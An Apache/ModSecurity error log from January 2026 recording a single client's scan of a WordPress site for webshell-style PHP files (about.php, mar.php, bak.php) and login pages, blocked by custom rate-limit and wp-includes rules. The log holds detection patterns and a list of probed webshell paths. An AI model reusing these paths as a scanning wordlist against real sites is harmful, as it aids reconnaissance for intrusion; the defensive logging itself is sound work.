[Sun Jan 18 18:51:42.693669 2026] [:error] [pid 37885:tid 37907] [client 20.2.112.127:4090] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/index.php"] [unique_id "aWy7PoIjOL7XA82H72V0UQAAAVM"]
[Sun Jan 18 18:51:42.943774 2026] [:error] [pid 12925:tid 12997] [client 20.2.112.127:3965] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aWy7PvsBL-4pnmSbzihHNgAAAIk"]
[Sun Jan 18 18:51:53.110139 2026] [:error] [pid 37885:tid 37888] [client 20.2.112.127:3994] [client 20.2.112.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "aWy7SYIjOL7XA82H72V0XwAAAUA"]
[Sun Jan 18 18:51:53.343790 2026] [:error] [pid 37885:tid 37907] [client 20.2.112.127:10478] [client 20.2.112.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/preferences/wp-login.php"] [unique_id "aWy7SYIjOL7XA82H72V0YAAAAVM"]
[Sun Jan 18 18:51:53.577954 2026] [:error] [pid 37885:tid 37890] [client 20.2.112.127:3905] [client 20.2.112.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/system_log.php"] [unique_id "aWy7SYIjOL7XA82H72V0YgAAAUI"]
[Sun Jan 18 18:52:11.536751 2026] [proxy_fcgi:error] [pid 12925:tid 12990] [client 20.2.112.127:4011] AH01071: Got error 'Primary script unknown'
[Sun Jan 18 18:52:11.775083 2026] [:error] [pid 12925:tid 13006] [client 20.2.112.127:4011] [client 20.2.112.127] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.2.112.127, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aWy7W_sBL-4pnmSbzihHtgAAAJI"]
[Sun Jan 18 18:52:13.352115 2026] [:error] [pid 12924:tid 12962] [client 20.2.112.127:10487] [client 20.2.112.127] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.2.112.127, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aWy7XSuv3PUo9LR6V6YkzwAAAEI"]
[Sun Jan 18 18:52:19.055721 2026] [:error] [pid 12925:tid 13004] [client 20.2.112.127:4011] [client 20.2.112.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aWy7Y_sBL-4pnmSbzihHwwAAAJA"]
[Sun Jan 18 18:52:22.866326 2026] [:error] [pid 12924:tid 12975] [client 20.2.112.127:10487] [client 20.2.112.127] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.2.112.127, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWy7Ziuv3PUo9LR6V6Yk4wAAAE8"]
[Sun Jan 18 18:52:27.894451 2026] [:error] [pid 12924:tid 12984] [client 20.2.112.127:3856] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/about.php"] [unique_id "aWy7ayuv3PUo9LR6V6Yk7QAAAFg"]
[Sun Jan 18 18:52:28.126812 2026] [:error] [pid 33494:tid 33506] [client 20.2.112.127:3873] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/about.php"] [unique_id "aWy7bLxmLR_50TtKxDILcgAAAQg"]
[Sun Jan 18 18:52:28.361008 2026] [:error] [pid 12923:tid 12955] [client 20.2.112.127:3961] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/about.php"] [unique_id "aWy7bOsWURrrC-4Rx5J6AgAAABc"]
[Sun Jan 18 18:52:28.594675 2026] [:error] [pid 12923:tid 12932] [client 20.2.112.127:4007] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/about.php"] [unique_id "aWy7bOsWURrrC-4Rx5J6BQAAAAA"]
[Sun Jan 18 18:52:28.843412 2026] [:error] [pid 13034:tid 13047] [client 20.2.112.127:3945] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "aWy7bMRGpUu1E8cmbmiKVQAAAMk"]
[Sun Jan 18 18:52:29.077091 2026] [:error] [pid 12923:tid 12945] [client 20.2.112.127:10443] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "aWy7besWURrrC-4Rx5J6BwAAAA0"]
[Sun Jan 18 18:52:29.310106 2026] [:error] [pid 12925:tid 13005] [client 20.2.112.127:4010] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "aWy7bfsBL-4pnmSbzihHzgAAAJE"]
[Sun Jan 18 18:52:29.543373 2026] [:error] [pid 12923:tid 12942] [client 20.2.112.127:3933] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "aWy7besWURrrC-4Rx5J6CQAAAAo"]
[Sun Jan 18 18:52:29.791700 2026] [:error] [pid 12925:tid 12997] [client 20.2.112.127:4046] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aWy7bfsBL-4pnmSbzihHzwAAAIk"]
[Sun Jan 18 18:52:30.031202 2026] [:error] [pid 13034:tid 13049] [client 20.2.112.127:4004] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aWy7bsRGpUu1E8cmbmiKVwAAAMs"]
[Sun Jan 18 18:52:30.267614 2026] [:error] [pid 37885:tid 37911] [client 20.2.112.127:3849] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aWy7boIjOL7XA82H72V0nwAAAVc"]
[Sun Jan 18 18:52:30.500613 2026] [:error] [pid 12923:tid 12934] [client 20.2.112.127:3855] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aWy7busWURrrC-4Rx5J6EQAAAAI"]
[Sun Jan 18 18:52:30.733706 2026] [:error] [pid 37885:tid 37889] [client 20.2.112.127:4056] [client 20.2.112.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/plugins.php"] [unique_id "aWy7boIjOL7XA82H72V0oQAAAUE"]
[Sun Jan 18 18:52:30.967327 2026] [:error] [pid 33494:tid 33516] [client 20.2.112.127:3966] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aWy7brxmLR_50TtKxDILfwAAARI"]
[Sun Jan 18 18:52:31.200116 2026] [:error] [pid 33494:tid 33515] [client 20.2.112.127:3914] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aWy7b7xmLR_50TtKxDILggAAARE"]
[Sun Jan 18 18:52:31.441719 2026] [:error] [pid 12923:tid 12955] [client 20.2.112.127:3847] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aWy7b-sWURrrC-4Rx5J6FAAAABc"]
[Sun Jan 18 18:52:31.675446 2026] [:error] [pid 37885:tid 37909] [client 20.2.112.127:3907] [client 20.2.112.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aWy7b4IjOL7XA82H72V0pQAAAVU"]
[Sun Jan 18 18:52:31.910510 2026] [:error] [pid 33494:tid 33521] [client 20.2.112.127:3977] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bak.php"] [unique_id "aWy7b7xmLR_50TtKxDILhwAAARc"]
[Sun Jan 18 18:52:32.143601 2026] [:error] [pid 37885:tid 37890] [client 20.2.112.127:3963] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bak.php"] [unique_id "aWy7cIIjOL7XA82H72V0pwAAAUI"]
[Sun Jan 18 18:52:32.376309 2026] [:error] [pid 37885:tid 37894] [client 20.2.112.127:3915] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bak.php"] [unique_id "aWy7cIIjOL7XA82H72V0qAAAAUY"]
[Sun Jan 18 18:52:32.610103 2026] [:error] [pid 37885:tid 37901] [client 20.2.112.127:10438] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bak.php"] [unique_id "aWy7cIIjOL7XA82H72V0qQAAAU0"]
[Sun Jan 18 18:52:32.855114 2026] [:error] [pid 33494:tid 33509] [client 20.2.112.127:3923] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/pki-validation/about.php"] [unique_id "aWy7cLxmLR_50TtKxDILjAAAAQs"]
[Sun Jan 18 18:52:33.089937 2026] [:error] [pid 37885:tid 37910] [client 20.2.112.127:4043] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/pki-validation/about.php"] [unique_id "aWy7cYIjOL7XA82H72V0qwAAAVY"]
[Sun Jan 18 18:52:33.333060 2026] [:error] [pid 37885:tid 37905] [client 20.2.112.127:3972] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/pki-validation/about.php"] [unique_id "aWy7cYIjOL7XA82H72V0rAAAAVE"]
[Sun Jan 18 18:52:33.573373 2026] [:error] [pid 37885:tid 37891] [client 20.2.112.127:3957] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/pki-validation/about.php"] [unique_id "aWy7cYIjOL7XA82H72V0rwAAAUM"]
[Sun Jan 18 18:52:33.806498 2026] [:error] [pid 37885:tid 37888] [client 20.2.112.127:3887] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/about.php"] [unique_id "aWy7cYIjOL7XA82H72V0sAAAAUA"]
[Sun Jan 18 18:52:34.055418 2026] [:error] [pid 13034:tid 13051] [client 20.2.112.127:3985] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/about.php"] [unique_id "aWy7csRGpUu1E8cmbmiKWwAAAM0"]
[Sun Jan 18 18:52:34.288610 2026] [:error] [pid 12925:tid 12988] [client 20.2.112.127:3962] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/about.php"] [unique_id "aWy7cvsBL-4pnmSbzihH1AAAAIA"]
[Sun Jan 18 18:52:34.522126 2026] [:error] [pid 37885:tid 37892] [client 20.2.112.127:3958] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/about.php"] [unique_id "aWy7coIjOL7XA82H72V0sQAAAUQ"]
[Sun Jan 18 18:52:34.754894 2026] [:error] [pid 12923:tid 12935] [client 20.2.112.127:10433] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/index.php"] [unique_id "aWy7cusWURrrC-4Rx5J6IAAAAAM"]
[Sun Jan 18 18:52:34.989006 2026] [:error] [pid 13034:tid 13054] [client 20.2.112.127:3920] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/index.php"] [unique_id "aWy7csRGpUu1E8cmbmiKXwAAANA"]
[Sun Jan 18 18:52:35.222862 2026] [:error] [pid 13034:tid 13058] [client 20.2.112.127:3964] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/index.php"] [unique_id "aWy7c8RGpUu1E8cmbmiKYgAAANQ"]
[Sun Jan 18 18:52:35.456082 2026] [:error] [pid 13034:tid 13036] [client 20.2.112.127:3970] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/index.php"] [unique_id "aWy7c8RGpUu1E8cmbmiKZAAAAMA"]
[Sun Jan 18 18:52:35.693753 2026] [:error] [pid 13034:tid 13047] [client 20.2.112.127:4030] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/seoplugins/mar.php"] [unique_id "aWy7c8RGpUu1E8cmbmiKZQAAAMk"]
[Sun Jan 18 18:52:35.931678 2026] [:error] [pid 13034:tid 13049] [client 20.2.112.127:3911] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/seoplugins/mar.php"] [unique_id "aWy7c8RGpUu1E8cmbmiKZgAAAMs"]
[Sun Jan 18 18:52:36.165078 2026] [:error] [pid 13034:tid 13056] [client 20.2.112.127:3868] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/seoplugins/mar.php"] [unique_id "aWy7dMRGpUu1E8cmbmiKZwAAANI"]
[Sun Jan 18 18:52:36.399867 2026] [:error] [pid 37885:tid 37896] [client 20.2.112.127:3841] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/seoplugins/mar.php"] [unique_id "aWy7dIIjOL7XA82H72V0swAAAUg"]
[Sun Jan 18 18:52:36.634675 2026] [:error] [pid 33494:tid 33520] [client 20.2.112.127:3876] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/file.php"] [unique_id "aWy7dLxmLR_50TtKxDILlQAAARY"]
[Sun Jan 18 18:52:36.869987 2026] [:error] [pid 33494:tid 33505] [client 20.2.112.127:3812] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/file.php"] [unique_id "aWy7dLxmLR_50TtKxDILlwAAAQc"]
[Sun Jan 18 18:52:37.102691 2026] [:error] [pid 37885:tid 37903] [client 20.2.112.127:3779] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/file.php"] [unique_id "aWy7dYIjOL7XA82H72V0tgAAAU8"]
[Sun Jan 18 18:52:37.344096 2026] [:error] [pid 12925:tid 13004] [client 20.2.112.127:3864] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/file.php"] [unique_id "aWy7dfsBL-4pnmSbzihH2wAAAJA"]
[Sun Jan 18 18:52:37.577343 2026] [:error] [pid 33494:tid 33514] [client 20.2.112.127:4005] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/index.php"] [unique_id "aWy7dbxmLR_50TtKxDILmwAAARA"]
[Sun Jan 18 18:52:37.810208 2026] [:error] [pid 37885:tid 37890] [client 20.2.112.127:3845] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/index.php"] [unique_id "aWy7dYIjOL7XA82H72V0uwAAAUI"]
[Sun Jan 18 18:52:38.043389 2026] [:error] [pid 37885:tid 37894] [client 20.2.112.127:10468] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/index.php"] [unique_id "aWy7doIjOL7XA82H72V0vAAAAUY"]
[Sun Jan 18 18:52:38.277701 2026] [:error] [pid 12924:tid 12980] [client 20.2.112.127:3870] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/index.php"] [unique_id "aWy7diuv3PUo9LR6V6Yk8AAAAFQ"]
[Sun Jan 18 18:52:38.509935 2026] [:error] [pid 12923:tid 12940] [client 20.2.112.127:4002] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/plugins.php"] [unique_id "aWy7dusWURrrC-4Rx5J6KAAAAAg"]
